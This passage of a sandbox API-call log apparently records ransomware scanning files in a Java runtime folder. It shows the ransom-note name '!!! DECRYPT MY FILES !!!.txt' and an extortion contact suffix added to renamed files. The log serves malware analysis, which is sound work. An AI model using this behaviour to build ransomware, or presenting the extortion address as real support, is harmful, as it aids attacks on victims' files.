FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.395] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.395] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.exe", cAlternateFileName="")) returned 1 [0116.395] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe", len=0x2f | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 1 [0116.395] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe", cchLength=0x2f | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe") returned 0x2f [0116.395] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.395] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.395] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.395] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.395] GetProcessHeap () returned 0x630000 [0116.395] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1340, Size=0x14) returned 0x6b0318 [0116.395] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x22c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="JavaAccessBridge-64.dll", cAlternateFileName="JAVAAC~1.DLL")) returned 1 [0116.396] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll", len=0x3e | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 1 [0116.396] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll", cchLength=0x3e | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll") returned 0x3e [0116.396] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.396] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.396] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.396] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.396] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2dc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="javacpl.cpl", cAlternateFileName="")) returned 1 [0116.396] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl", len=0x32 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 1 [0116.396] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl", cchLength=0x32 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 0x32 [0116.396] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.396] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.396] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.396] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.397] GetProcessHeap () returned 0x630000 [0116.397] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0318, Size=0x18) returned 0x6b02b8 [0116.397] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="javacpl.exe", cAlternateFileName="")) returned 1 [0116.397] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe", len=0x32 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 1 [0116.397] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe", cchLength=0x32 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe") returned 0x32 [0116.397] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.397] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.397] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.397] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.397] GetProcessHeap () returned 0x630000 [0116.397] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b02b8, Size=0x1c) returned 0x6e9120 [0116.397] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx_font.dll", cAlternateFileName="JAVAFX~1.DLL")) returned 1 [0116.398] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll", len=0x36 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 1 [0116.398] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll", cchLength=0x36 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 0x36 [0116.398] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.398] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.398] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.398] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.398] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x83640, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx_font_t2k.dll", cAlternateFileName="JAVAFX~2.DLL")) returned 1 [0116.398] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll", len=0x3a | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 1 [0116.398] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll", cchLength=0x3a | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 0x3a [0116.398] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.398] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.398] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.398] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.399] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1f440, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx_iio.dll", cAlternateFileName="JAVAFX~3.DLL")) returned 1 [0116.399] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll", len=0x35 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 1 [0116.399] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll", cchLength=0x35 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 0x35 [0116.399] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.399] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.399] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.399] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.399] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaw.exe", cAlternateFileName="")) returned 1 [0116.399] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe", len=0x30 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 1 [0116.399] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe", cchLength=0x30 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe") returned 0x30 [0116.399] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.399] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.400] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.400] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.400] GetProcessHeap () returned 0x630000 [0116.400] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9120, Size=0x20) returned 0x6e90d0 [0116.400] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e040, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe", cAlternateFileName="")) returned 1 [0116.400] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe", len=0x31 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 1 [0116.400] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe", cchLength=0x31 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe") returned 0x31 [0116.400] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.400] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.400] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.400] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.400] GetProcessHeap () returned 0x630000 [0116.400] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e90d0, Size=0x24) returned 0x6998e8 [0116.400] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0x0, dwReserved1=0x0, cFileName="java_crw_demo.dll", cAlternateFileName="JAVA_C~1.DLL")) returned 1 [0116.401] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll", len=0x38 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 1 [0116.401] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll", cchLength=0x38 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 0x38 [0116.401] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.401] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.401] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.401] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.401] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3840, dwReserved0=0x0, dwReserved1=0x0, cFileName="jawt.dll", cAlternateFileName="")) returned 1 [0116.401] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll", len=0x2f | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 1 [0116.401] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll", cchLength=0x2f | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll") returned 0x2f [0116.401] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.401] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.401] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.402] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.402] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="JAWTAccessBridge-64.dll", cAlternateFileName="JAWTAC~1.DLL")) returned 1 [0116.656] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll", len=0x3e | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 1 [0116.656] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll", cchLength=0x3e | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll") returned 0x3e [0116.656] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.656] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.656] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.656] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.700] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x31440, dwReserved0=0x0, dwReserved1=0x0, cFileName="jdwp.dll", cAlternateFileName="")) returned 1 [0116.700] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll", len=0x2f | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 1 [0116.700] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll", cchLength=0x2f | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll") returned 0x2f [0116.700] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.700] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.700] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.700] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.700] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x6840, 